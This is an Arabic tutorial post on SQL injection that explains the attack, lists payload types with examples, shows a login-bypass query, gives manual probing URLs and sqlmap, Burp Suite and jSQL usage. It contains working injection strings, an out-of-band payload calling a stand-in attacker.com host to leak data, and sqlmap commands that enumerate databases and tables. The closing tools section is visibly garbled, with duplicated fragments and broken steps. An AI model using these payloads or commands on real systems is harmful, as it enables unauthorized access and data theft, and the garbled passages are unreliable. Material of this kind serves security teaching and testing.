سلسلة الثغرات الامنية
🔍 مقدمة: ما هي ثغرة SQL Injection؟
ثغرة SQL Injection (SQLi) هي إحدى أخطر ثغرات الأمن السيبراني، حيث تسمح للمهاجم بحقن أوامر SQL خبيثة في استعلامات قاعدة بيانات التطبيق. هذه الثغرة يمكن أن تؤدي إلى:
✅ سرقة البيانات الحساسة (مثل كلمات المرور، معلومات بطاقات الائتمان).
✅ تعديل أو حذف البيانات في قواعد البيانات.
✅ تنفيذ أوامر على مستوى الخادم (RCE) في بعض الحالات المتقدمة.
✅ الوصول غير المصرح به إلى لوحات التحكم الإدارية.
وفقًا لـ OWASP Top 10 2023، لا تزال SQLi تحتل المراكز الأولى في قائمة الثغرات الخطيرة بسبب انتشارها وسهولة استغلالها في التطبيقات غير الآمنة.
---
## 📊 أنواع هجمات SQL Injection
| النوع | الوصف | مثال |
|------------------------|----------------------------------------------------------------------|--------------------------|
| Classic SQLi | حقن أوامر SQL مباشرة في مدخلات المستخدم | ' OR '1'='1' -- |
| Union-Based | استخدام UNION لدمج نتائج استعلامين مختلفين | UNION SELECT 1,2,3 -- |
| Error-Based | استخراج المعلومات من خلال رسائل الخطأ | ' AND 1=CONVERT(int,@@version)-- |
| Blind SQLi | استغلال الثغرة دون ظهور أخطاء (Boolean/Time-Based) | ' IF (1=1) WAITFOR DELAY '0:0:5' -- |
| Out-of-Band SQLi | استخراج البيانات عبر قنوات أخرى مثل DNS أو HTTP | '; EXEC master..xp_dirtree '\\attacker.com\' -- |
---
⚡ مستوى الخطورة: لماذا SQLi خطيرة؟
- 📈 التأثير: عالي (High/Critical) - قد يؤدي إلى اختراق كامل للنظام.
- 🌍 الانتشار: موجودة في 35% من التطبيقات الويب (حسب Verizon DBIR 2023).
- 🛠️ الصعوبة: منخفضة إلى متوسطة، خاصة في التطبيقات غير المحمية.
- 💸 التكلفة: متوسط خسارة الشركة من ثغرة SQLi يصل إلى 4.45 مليون دولار (IBM Cost of Data Breach 2023).
---
🔬 كيف تعمل ثغرة SQLi؟ (مع مثال تطبيقي)
عندما يُدخل المستخدم بيانات (مثل اسم المستخدم وكلمة المرور)، يقوم الخادم بإنشاء استعلام SQL مثل:
SELECT * FROM users WHERE username = '[USER_INPUT]' AND password = '[USER_INPUT]';
إذا لم يتم تعقيم المدخلات (Sanitization)، يمكن للمهاجم حقن كود خبيث مثل:
' OR '1'='1' --
ليصبح الاستعلام النهائي:
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'any';
✅ النتيجة: الشرط '1'='1' يكون دائمًا صحيحًا، مما يتيح للمهاجم تسجيل الدخول دون كلمة مرور!
---
## 🛠️ طرق اكتشاف SQLi يدويًا (للمحترفين)
### **1. الفحص باستخدام الأحرف الخاصة (', ", #, --)**
http://example.com/login.php?username=admin'--&password=123
- إذا ظهر خطأ مثل You have an error in your SQL syntax، فهناك ثغرة.
2. اختبار UNION-Based Injectionon**
http://example.com/products.php?id=1 UNION SELECT 1,2,3--
- إذا ظهرت أرقام (مثل 2،3) في الصفحة، فهذا يعني أن الاستعلام قابل للحقن.
3. اختبار Time-Based Blind SQLiLi**
'; IF (1=1) WAITFOR DELAY '0:0:5'--
- إذا تأخر رد الخادم 5 ثوانٍ، فالثغرة موجودة.
---
⚒️ أدوات لاختبار SQLi (على Kali Linux و Termux)x)**1. SQLmap (الأداة الأقوى)ى)** التثبيت على Kali:i:**
sudo apt update && sudo apt install sqlmap
- **الاستخدام الأساسي:**
sqlmap -u "http://example.com/login.php?user=1" --dbs
- **استخراج الجداول:**
sqlmap -u "http://example.com/login.php?user=1" -D database_name --tables
**2. Burp Suite (لتحليلخطوات الاستخدام:وات الاستخدام:**
1. اعتراضProxyستخدام **Proxy**.
Repeaterإلى **Repeater** لتعديله يدويًا.
3. اختبار مدخلات مختلفة لاكت3. jSQL Injection (أداة سهلة للمبتدئين)هلة للمبتدئين)**
git clone https://github.com/ron190/jsql-injection.git
cd jsql-injection
./jsql.sh
---